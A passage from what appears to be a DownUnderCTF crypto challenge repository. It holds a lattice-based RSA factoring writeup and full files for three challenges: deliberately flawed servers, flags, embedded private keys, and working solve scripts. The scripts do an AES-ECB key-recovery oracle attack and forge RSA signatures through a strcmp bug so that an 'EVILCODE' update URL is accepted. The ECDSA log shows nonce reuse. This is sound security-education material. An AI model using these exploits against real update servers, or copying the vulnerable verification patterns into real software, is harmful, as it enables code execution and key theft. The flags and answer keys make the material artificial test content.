two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as $$ x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z $$ Lastly, $$ |x_j|^2 = x_j \overline{x_j} $$ is computed and we are given the three values $(\lfloor |x_j|^2 \rfloor, a_j, b_j)$. Note that $\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\lfloor |x_j|^2 \rfloor$. Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information. # Solution Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so. ## Analysing Hint 2 There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have $$ \begin{aligned} x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\ &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\ &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\ \implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\ &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\ &\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\ &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\ &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\ &\quad + (b^2 + 2 \cdot 2^{-l} bd + 2^{-2l} d^2) D \\ &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\ &\quad + b^2 D + 2 \cdot 2^{-l} bd D + 2^{-2l} d^2 D \end{aligned} $$ Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \times 1337$ bits. |Term|Size (in bits)| |---|---| |$a^2$|$2 \times 1337$| |$2 \cdot 2^{-l} ac$|$1337$| |$2^{-2l}c^2$|$0$| |$2abp$|$3 \times 1337$| |$2 \cdot 2^{-l} adp$|$2 \times 1337$| |$2 \cdot 2^{-l} bcp$|$2 \times 1337$| |$2 \cdot 2^{-2l} cdp$|$1337$| |$b^2 D$|$4 \times 1337$| |$2 \cdot 2^{-l} bd D$|$3 \times 1337$| |$2^{-2l} d^2 D$|$2 \times 1337$| Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \times 1337$ bits in size, we can more or less throw away any term whose size is $2 \times 1337$ or less. This leaves us with $$ \begin{aligned} \frac{|x|^2}{2ab} = \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\ &\approx p + \frac{b^2D}{2ab} + \frac{2^{-l}dD}{a} \end{aligned} $$ This approximation itself is very accurate, and only differs by a few bits due to the $2 \times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write $$ \begin{aligned} \frac{y}{2ab} &\approx p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d \\ &= p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d + k \end{aligned} $$ where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\lfloor \rfloor$, but it should be understood that we are performing integer division. ## Using Hint 2 Now let's bring back the subscripts, noting that we have two instances: $$ \begin{aligned} \begin{cases} \frac{y_1}{2a_1 b_1} &= p + \frac{b_1^2 D}{2 a_1 b_1} + \frac{2^{-l} D}{a_1} d_1 + k_1 \\ \frac{y_2}{2a_2 b_2} &= p + \frac{b_2^2 D}{2 a_2 b_2} + \frac{2^{-l} D}{a_2} d_2 + k_2 \\ \end{cases} \end{aligned} $$ Finally, let's combine these two equations to eliminate $p$. $$ \frac{y_1 - b_1^2 D}{2 a_1 b_1} - \frac{2^{-l} D}{a_1} d_1 - k_1 = \frac{y_2 - b_2^2 D}{2 a_2 b_2}- \frac{2^{-l} D}{a_2} d_2 - k_2 $$ Just so it's easier to read, let $t_j = \frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have: $$ t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2 $$ or to put it in a more exciting way: $$ f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0 $$ Now, $f$ has "small" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\mathbb{Z}/N\mathbb{Z}$ for some large $N$. ### Lattice Approach However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix: $$ \begin{bmatrix} s_1 & 1 & 0 \\ s_2 & 0 & 1 \\ t_1 - t_2 & 0 & 0 \end{bmatrix} $$ The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector. ## Recovering the Primes Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier: $$ \begin{aligned} \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\ \implies p &\approx \frac{y - (b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \end{aligned} $$ This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$. ## Getting the Flag We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \equiv e^{-1} \pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result. ================================================ FILE: crypto/aes-ecb/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 RUN pip install pycryptodome COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/key.txt /home/ctf/chal/ COPY ./challenge/aes-ecb.py /home/ctf/chal/pwn ================================================ FILE: crypto/aes-ecb/README.md ================================================ # Easily Can Break **Category:** crypto **Difficulty:** easy **Author:** 2keebs AES encryption challenge. **Attached files:** - ./challenge/aes-ecb.py (sha256: a6cfc25dc350577e0b0527575340f868042d8c15e8bb1067a707c4140ce1dc87) ================================================ FILE: crypto/aes-ecb/challenge/aes-ecb.py ================================================ #!/usr/bin/python3 import sys import os from Crypto.Cipher import AES from base64 import b64encode bs = 16 # blocksize flag = open('flag.txt', 'rb').read().strip() key = open('key.txt', 'r').read().strip().encode() # my usual password def enc(pt): cipher = AES.new(key, AES.MODE_ECB) ct = cipher.encrypt(pad(pt+key)) res = b64encode(ct).decode('utf-8') return res def pad(pt): while len(pt) % bs: pt += b'0' return (pt) def main(): print('AES-128') while(1): msg = input('Enter plaintext:\n').strip() pt = flag + str.encode(msg) ct = enc(pt) print(ct) if __name__ == '__main__': main() ================================================ FILE: crypto/aes-ecb/challenge/flag.txt ================================================ DUCTF{ECB_M0DE_K3YP4D_D474_L34k} ================================================ FILE: crypto/aes-ecb/challenge/key.txt ================================================ !_SECRETSOURCE_! ================================================ FILE: crypto/aes-ecb/challenge.yml ================================================ version: "0.1" id: aes-ecb name: Break Me! category: crypto description: | AES encryption challenge. Author: 2keebs connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/aes-ecb.py flags: - DUCTF{ECB_M0DE_K3YP4D_D474_L34k} ================================================ FILE: crypto/aes-ecb/solve/requirements.txt ================================================ pwntools == 4.3.1 pycryptodomex == 3.9.7 ================================================ FILE: crypto/aes-ecb/solve/solution.py ================================================ #!/usr/bin/python3 from Crypto.Cipher import AES from pwn import * from base64 import b64decode if len(sys.argv) != 3: print("usage: ./solution.py IP PORT") exit() def get_block(s,n): start = 16 * (n-1) end = start + 16 r = b.decode("utf-8") return b64decode(r)[start:end] # this will grow as each byte of the key is revealed key = b"" s = remote(sys.argv[1], sys.argv[2]) s.recvline() # each byte position in the block (16) for i in range(16, 0, -1): partial = b"A"*(i-1) s.recvline() s.sendline(partial) b = s.recvline() target = get_block(b, 3) # each possible ascii byte value for that position for j in range(33, 127): k = bytes([j]) s.recvline() s.sendline(partial + key + k) b = s.recvline() res = get_block(b, 3) # compare with padded output if res == target: key += k break print("found key:", key) cipher = AES.new(key, AES.MODE_ECB) s.sendline() s.recvline() b = s.recvline() ct = get_block(b,1) + get_block(b,2) flag = cipher.decrypt(ct) print(flag.decode("utf-8")) s.close() ================================================ FILE: crypto/aes-ecb/solve/writeup.md ================================================ # Easily Can Break ## Discovering the Vulnerability The included server code shows `AES-128-ECB` encryption oracle using the encryption key as padding. ```python key = open('key.txt', 'r').read().strip().encode() # my usual password ... cipher = AES.new(key, AES.MODE_ECB) ct = cipher.encrypt(pad(pt+key)) ``` Since the key is used for padding and ECB mode creates identical ciphertext for repeated (plaintext, key) pairs, recovery of the key is possible. ## Developing the exploit Connecting to the server returns the encrypted plaintext in base64. This comprises of `flag + input + key + pad`. Confirming with an empty input: ```python Enter plaintext: hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV ``` Checking the length of the ciphertext shows it is three blocks: ```bash echo 'hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV' | base64 -d | xxd 00000000: 8470 d4bf c00c 8f4c 7ce3 1bf9 0cb0 1f9d .p.....L|....... 00000010: 590c b62a 3145 3f3b 82c9 1224 b3c2 9c80 Y..*1E?;...$.... 00000020: 9bc5 d676 11b0 25bd d9fc 9598 d869 6b95 ...v..%......ik. ``` As the server is `AES-128`, the key size must be 16 bytes, which is one block (16 bytes = 128 bits). This is guaranteed to be (at least partially) in the last block of the ciphertext. This reveals that the length of the flag is between 17-32 bytes, to produce a ciphertext of 3 blocks. The idea is to send a plaintexts of a specific length that will be padded with some bytes of the key, which we can then determine the value of by comparing ciphertexts. This is best explained with an example for the first byte of the key: ``` Step 1: input 15 bytes of plaintext, e.g. 15*"A". The ciphertext returned will be Encrypt(flag + 15*"A" + key + pad) The third block of the ciphertext will then be Encrypt(15*"A" + key[0]) Step 2: Store the third block of ciphertext as "target" Step 3: input 15*"A" + x, where x is a guess of a key byte Step 4: compare the saved "target" with the third block of the ciphertext Repeat step 3-4 for all possible values of x. When they match, the first byte of the key has been successfully guessed Repeat step 1, decrementing the number of "A"s to reveal each subsequent byte of the key ``` Once the key has been recovered, the ciphertext can be decrypted to reveal the flag. ## Execution: recovering the flag Finding the key. Since the source file says the key is the password, the characters must be printable. This narrows the keyspace to ASCII: ```python # each byte position in the block (16) for i in range(16, 0, -1): partial = b"A"*(i-1) s.recvline() s.sendline(partial) b = s.recvline() target = get_block(b, 3) # each possible ascii byte value for that position for j in range(33, 127): k = bytes([j]) s.recvline() s.sendline(partial + key + k) b = s.recvline() res = get_block(b, 3) # compare with padded output if res == target: key += k break ``` Now the key has been discovered, decrypt the ciphertext: ``` ct = b64decode("hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV") cipher = AES.new(key, AES.MODE_ECB) flag = cipher.decrypt(ct) flag{ECB_M0DE_K3YP4D_D474_L34k5} ``` Solved. ================================================ FILE: crypto/otwhat-1/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 ENV LISTEN_PORT 1337 EXPOSE 1337 RUN pip3 install pycryptodome COPY challenge/app/main.py /app COPY challenge/app/rsa.key /app ================================================ FILE: crypto/otwhat-1/README.md ================================================ # OTWhat 1 **Category:** Crypto **Difficulty:** Easy **Author:** nullableVoid\*#7225 We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware? ================================================ FILE: crypto/otwhat-1/challenge/app/main.py ================================================ from flask import Flask, request, redirect, url_for from Crypto.PublicKey import RSA from Crypto.Hash import SHA3_512 from Crypto.Signature import pkcs1_15 from base64 import b64decode, b64encode app = Flask(__name__) with open("rsa.key") as f: key = RSA.import_key(f.read()) example_url = "https://GOODCODE/" example_sig = b64encode(pkcs1_15.new(key).sign(SHA3_512.new(example_url.encode()))).decode() def strcmp(s1: bytes, s2: bytes) -> int: for a, b in zip(s1 + b'\0', s2 + b'\0'): if a == 0 or a != b: break return a - b @app.route("/update.cgi", methods=['GET', 'POST']) def update(): output = ( f'
\n' ' \n' f' \n' ' \n' f' \n' ' ' '
\n' '
\n' ) if request.method == "POST": result = None url = request.form.get('url') hash = SHA3_512.new(url.encode('latin1')).digest() try: signature = b64decode(request.form.get('signature')) except: output += "Error: Signature parsing error.
\n" else: if len(signature) != 512: output += "Error: Incorrect signature length (expected 512 bytes).
\n" else: try: signature = int.from_bytes(signature, "big") if signature <= 1: output += "Error: Invalid signature
\n" else: decrypted_signature = pow(signature, key.e, key.n).to_bytes(key.size_in_bytes(), "big") result = strcmp(hash, decrypted_signature[-64:]) except Exception as e: print(e) output += "Error
\n" if result == 0: if url.startswith("https://GOODCODE/"): output += "Update successful
\n" elif url.startswith("https://EVILCODE/"): output += "Update successful
\n" output += "
RCE POPPED! HACK THE PLANET!! DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}

\n" else: output += "Update failed
\n" else: output += "Error: Invalid signature
\n" output += ( '' return output @app.route("/") def root(): return redirect(url_for('update')) if __name__ == "__main__": app.run(host="0.0.0.0", port=1337) ================================================ FILE: crypto/otwhat-1/challenge/app/rsa.key ================================================ -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- ================================================ FILE: crypto/otwhat-1/challenge.yml ================================================ version: "0.1" id: otwhat-1 name: OTWhat 1 category: crypto description: | We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware? Author: nullableVoid*#7225 connection_info: ${url} tags: - easy flags: - DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp} ================================================ FILE: crypto/otwhat-1/solve/solve.py ================================================ import sys import requests import re import random from Crypto.PublicKey import RSA from Crypto.Hash import SHA3_512 from base64 import b64encode key = RSA.import_key(re.search(r'-----BEGIN PUBLIC KEY-----(.*)-----END PUBLIC KEY-----', requests.get(f"https://{sys.argv[1]}/update.cgi").text, flags=re.S)[0]) hash_found = False url = b"" while not hash_found: padding = random.randbytes(2) url = b"https://EVILCODE/" + padding digest = SHA3_512.new(url).digest() hash_found = digest[0] == 0 print(url) forged_signature = random.randbytes(512) while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0: forged_signature = random.randbytes(512) print(b64encode(forged_signature)) print(requests.post(f"https://{sys.argv[1]}/update.cgi", data={"url": url.decode('latin1'), "signature": b64encode(forged_signature).decode()}).text) ================================================ FILE: crypto/otwhat-1/solve/writeup.md ================================================ As the flag shows, this is a known signing failure of early versions of the Wii software. The first mistake is the use of `strcmp`, as this C function considers strings, it terminates at a null byte as C strings are null-terminated. The attack exploits this by having the actual hash and the hash from the signature start with a null byte, such that according to `strcmp`, both "strings" are zero-length, and are hence equivalent. ``` while not hash_found: padding = randbytes(2) url = "https://EVILCODE/" + padding digest = SHA3_512(url) hash_found = digest[0] == 0 ``` The player is expected to derive the hash function by analysing the sample signature provided by the web app; the public key is in the HTML source, and decrypted signature carries padding, and then a DER-encoded hash indicated to be SHA3-512. Forging a signature would be difficult if not for the second mistake; there are no checks to see if the decrypted signature has valid padding. This is alluded to in the "debug" section of the HTML source code: ``` update.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = ... ``` Meaning, we just need a signature, such that s ^ e mod n has the 448th byte as zero. ``` forged_signature = random.randbytes(256) while pow(int.from_bytes(forged_signature, "big"), key.e, key.n).to_bytes(key.size_in_bytes(), "big")[-64] != 0: forged_signature = random.randbytes(256) ``` ================================================ FILE: crypto/otwhat-2/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 ENV LISTEN_PORT 1337 EXPOSE 1337 RUN pip3 install pycryptodome COPY challenge/app/main.py /app COPY challenge/app/secp256r1.key /app COPY challenge/app/update.log /app ================================================ FILE: crypto/otwhat-2/README.md ================================================ # OTWhat 2 **Category:** Crypto **Difficulty:** Medium **Author:** nullableVoid\*#7225 "We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response." ================================================ FILE: crypto/otwhat-2/challenge/app/main.py ================================================ from flask import Flask, request, redirect, url_for from Crypto.PublicKey import ECC from Crypto.Signature import DSS from Crypto.Hash import SHA3_512 from base64 import b64decode app = Flask(__name__) with open("secp256r1.key") as f: key = ECC.import_key(f.read()) verifier = DSS.new(key, 'fips-186-3', 'der') log = [] with open("update.log") as f: for event in f: log.append(event.split(" ")) @app.route("/update.cgi", methods=['GET', 'POST']) def update(): output = ( "" ) output += ( f'
\n' ' \n' f' \n' ' \n' f' \n' ' ' '
\n' '
\n' ) if request.method == "POST": url = request.form.get('url') hash = SHA3_512.new(url.encode('latin1')) signature = request.form.get('signature') try: verifier.verify(hash, b64decode(signature)) if url.startswith("https://GOODCODE/"): output += "Update successful
\n" elif url.startswith("https://EVILCODE/"): output += "Update successful
\n" output += "
RCE POPPED! You have earned a trophy: Public Private Keys\nDUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)}

\n" else: output += "Update failed
\n" except ValueError as e: print(e) output += "Invalid signature
\n" output += "Update audit log:
\n" output += ( '\n' ' ' ' ' ' ' ' ' ) for event in log: output += " \n" for column in event: output += " \n" output += " \n" output += "
Update URLECDSA signature
\n" output += f" {column}\n" output += "
\n" output += '' return output @app.route("/") def root(): return redirect(url_for('update')) if __name__ == "__main__": app.run(host="0.0.0.0", port=1337) ================================================ FILE: crypto/otwhat-2/challenge/app/secp256r1.key ================================================ -----BEGIN EC PRIVATE KEY----- MHcCAQEEIN4TO0+AfeX2d4OnxsG863ibIWVtwtjWdlmTChJQnSkToAoGCCqGSM49 AwEHoUQDQgAEaSLgjOOtncCtdsHgz75f1e80IbIEa2I9/IE3men8kYtZwTRWpYrK Br5TKke2Z+QzDn4ZcrRdAmh+H8/Zbw4kNw== -----END EC PRIVATE KEY----- ================================================ FILE: crypto/otwhat-2/challenge/app/update.log ================================================ https://GOODCODE/update/abcd0b64039c6eff5a1cbf50f24eb6c62f25f8f39da28fdc112433b93ada6018 MEUCIQDygJ+KOWKxMIomSm4ejoR75yQiGRebnTIecMz+vAaLZgIgFlRE1/i/oP0IrSKy/jZhEanzrFDCK8siRsELIOrGxlA= https://GOODCODE/update/4d4b2429f62ded41b075fcd0f0528c3b4cbd281494f04f93697dae7e1e5562f3 MEQCIGLKyLXEGqqprGMgZC7ZcJysCKSP0wbvRUQ++1I/H0O1AiBkf/x4XMsLoHq6VUWZaDOs4J2ZU2DXWFqhyJ5+72zg/g== https://GOODCODE/update/3dced7a6fe020797c7bf1e5a08a576b777aa10a8816850a1fb6661d5c97081fb MEQCIBLpxSLhwVY7xD41tUgzYjzraXxUETO01DWcuYG1oluGAiB5CkYhYlvcTXpgSTb/avuuNFo9cEK04+OsqSx6DY1vzg== https://GOODCODE/update/4469f20adeeadcc700b97da48b21f143ce524ed338754471ef2638a3921b461c MEQCIEXuMldMbZ2Arz0CQgwJoEendtNRxAoG5XnVkfcEc2yMAiA+FpL/JC8kMxchpfaTImvLpRVWE4rTK6GgNQLBZOQIPw== https://GOODCODE/update/380fde2d3c3c28b87fabba0728ab548713823f362914ed85cfa43baeddaeff16 MEYCIQCbkzxkYSed+cO6F3EaoBF1uh1uBojdCq0EjFUyxBPyLAIhALzNUWhc2/JSjHAyUklmOgPcw98CkApS5+TvPaz6zYc2 https://GOODCODE/update/80d786fdd1a65421fd1fb43cf39edbec91f6c3dbcb94a509dc772e3f36966c1f MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhAMngUbr1aw1jjBmzr+pGSzo0F0jsNxjHY0NZvhzS5RDn https://GOODCODE/update/3387677bc29d24ac5072d9b25bbc49971418ee938971a13c92d7c64e03b5c9b8 MEQCIDtlg/jov1uweEYV6TYMwqp59L28AplsK+p1wBOVy/G1AiB6aEEf5i8cANK77UIrAUPxdQeaWPc1dhkbB7CkyGzzhg== https://GOODCODE/update/65f3f974b29b04c6f9186084fba8470b3d5fa8cdd4461e0ce110573d19ee0a3b MEUCICjG/d2NXFhL1Ow8dJbqy/50P7KPgWH+BxCUUHAUGmmsAiEAyrq4wGx9Vfbo1TLltseRVRiAsImRE9u+7Z9xfb6BY1c= https://GOODCODE/update/9209e22a576ea90d3ccd38435095f5c9b4729f3624c52169f3d0a861250bc958 MEYCIQDh+I/CsJFTGl1Ocdy/oKvXCPJcXhRIxYk+TMH3cYqVsQIhANnezlyV7osSfpIr5F1zJdeHVQGi9l8y1ZdrFS0L1QFV https://GOODCODE/update/c30f4d19422b374a7624f364d245ef208847c1f19d5d939acba777ccda6e79db MEQCIE835xvwnLWPuigxyxunD9K3T3enFx1ptLbW5Fo64xRqAiAS3kilsPL/uESCYO6ModsTui/M1zb77yXw5+DvWG2Wgg== https://GOODCODE/update/0f763be9b51eb80c732108b9da5a4e3110565604e6693141caf28c7ffc3ae509 MEYCIQCnWKUzpH1NoQ/PMQfh3ezJIbkfHhhzLh8w9Y9tSxI6LQIhAJt9R7a996lzpFVjoREFfjxV7+98Ff4Bp+DHPy1OkEa0 https://GOODCODE/update/e29faae8cd5dddf2098581a0b6a7023f6e81dd83afd284488400c5a5731d228e MEUCIQDpalsTIHHoJExe/K/nFxP65CDtPpBvPwTKDLfXMbN7tAIgThZjvBAW0Y/1VCPNGAsBOcJGYK+4DzKvpZda7wQguoo= https://GOODCODE/update/403fa90dbe63c3374b71e57e6bf02c57dd8bcc730edec9b4f64213d2b9e048b6 MEQCIECGFB050hcAMVdEbifHGCBWf/RbGaW+LzMC1oStTjwIAiAjgUO03H6KoVoFHaUjjMSXN1CoDpeyECjv6DemvAbG5g== https://GOODCODE/update/5cd5a39511980526236f50bd2a36ef6520f88ea3cfcd8d064467c8e64b563cbe MEYCIQDl93ncrNymmNpMO18iivyJA/888doaWDDbILHm7Af6dgIhALRF93QCEXTVsPCtITYnNpXQ2dM33YvrHhfK9t4P1VGN https://GOODCODE/update/a4e62ce498a676179e739c1e5346049a0ba69805ecf1e16d26b2defd3f6f6931 